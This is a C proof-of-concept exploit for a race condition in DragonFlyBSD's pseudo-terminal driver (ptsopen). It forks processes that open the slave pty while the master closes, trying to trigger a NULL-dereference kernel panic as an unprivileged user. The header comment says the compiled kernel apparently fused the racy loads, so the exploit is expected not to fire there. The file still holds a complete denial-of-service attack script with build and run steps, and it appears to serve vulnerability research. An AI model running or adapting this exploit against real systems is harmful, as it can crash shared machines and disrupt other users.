/*
 * DF-0039 PoC - ptsopen check-then-use TOCTOU on dev->si_drv1 -> NULL-deref
 *              kernel panic (local unprivileged DoS).
 *
 * ptsopen (sys/kern/tty_pty.c:313-317) tests dev->si_drv1 == NULL (line 313)
 * then re-reads pti = dev->si_drv1 (line 315) with no lock; between the two
 * unlocked loads a concurrent ptcclose()->pti_done() nulls si_drv1 (:279)
 * before destroy_dev (:281). The subsequent lwkt_gettoken(&pti->pt_tty.t_token)
 * (:317) then dereferences NULL -> kernel panic.
 *
 * Reachable by any local user: /dev/ptmx is 0666 (:1290-1291), the slave is
 * owned by the master opener, and ptcclose reopens the slave 0666 (:677-682),
 * so the same user races open(/dev/pts/N) against close(master).
 *
 * Contrast ptcopen (:571-573) which reads si_drv1 once into pti (safe).
 *
 * Build (DragonFlyBSD):  cc -pthread -O2 -o pts_race pts_race.c
 * Run as an UNPRIVILEGED user (disposable VM):  ./pts_race
 *
 * Expected (bug present): kernel panic (NULL deref in ptsopen) once the race
 * window is won.
 *
 * NOTE: Disassembly of the master DEV kernel (see VERDICT.md) shows GCC 8.3
 * CSE-fused the two `dev->si_drv1` loads in ptsopen into a single `mov
 * 0x98(%r14),%r12`, identical to the safe pattern already used by ptcopen.
 * The race is therefore unreachable on this compiled kernel even though the
 * source still shows the buggy double-read.  This PoC will run forever
 * without panicking; that negative result, combined with the disassembly,
 * is the proof.
 */

#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>

#ifndef strlcpy
size_t strlcpy(char *, const char *, size_t);
#endif

#define N_OPENERS	4	/* parallel racers per slave */

/*
 * Each child opens+immediately-closes the slave in a tight loop for a
 * short burst, then exits.  Many short bursts across iterations give
 * better race coverage than one long loop per child (which would just
 * pin a CPU on ENXIO returns after the master closes).
 */
static void
opener_child(const char *slave, int iters)
{
	for (int i = 0; i < iters; i++) {
		int fd = open(slave, O_RDWR | O_NOCTTY);
		if (fd >= 0)
			close(fd);
	}
	_exit(0);
}

int
main(void)
{
	unsigned long iter = 0;
	fprintf(stderr, "[pts_race] start (N_OPENERS=%d)\n", N_OPENERS);

	while (1) {
		int m = open("/dev/ptmx", O_RDWR | O_NOCTTY);
		if (m < 0) {
			if ((iter & 0x3fff) == 0)
				fprintf(stderr, "[pts_race] ptmx open errno=%d\n", errno);
			continue;
		}
		unlockpt(m);
		char *s = ptsname(m);
		if (!s || !*s) { close(m); continue; }
		char buf[64];
		strlcpy(buf, s, sizeof(buf));

		pid_t kids[N_OPENERS];
		int nkids = 0;
		for (int i = 0; i < N_OPENERS; i++) {
			pid_t p = fork();
			if (p < 0) break;
			if (p == 0) opener_child(buf, 200);
			kids[nkids++] = p;
		}

		/* Let the openers reach their tight loop. */
		usleep(20);

		/*
		 * RACE: close(master) -> ptcclose -> pti_done -> si_drv1=NULL @279
		 *      races the openers' ptsopen :313 vs :315 reads.
		 *
		 * NOTE: close(m) can block inside destroy_dev() while the
		 * openers hold transient references to the slave cdev, but
		 * that is exactly the window we want widened.
		 */
		close(m);

		for (int i = 0; i < nkids; i++)
			waitpid(kids[i], NULL, 0);

		if ((++iter % 500) == 0)
			fprintf(stderr, "[pts_race] iter=%lu (no panic)\n", iter);
	}
	/* not reached */
	return 0;
}
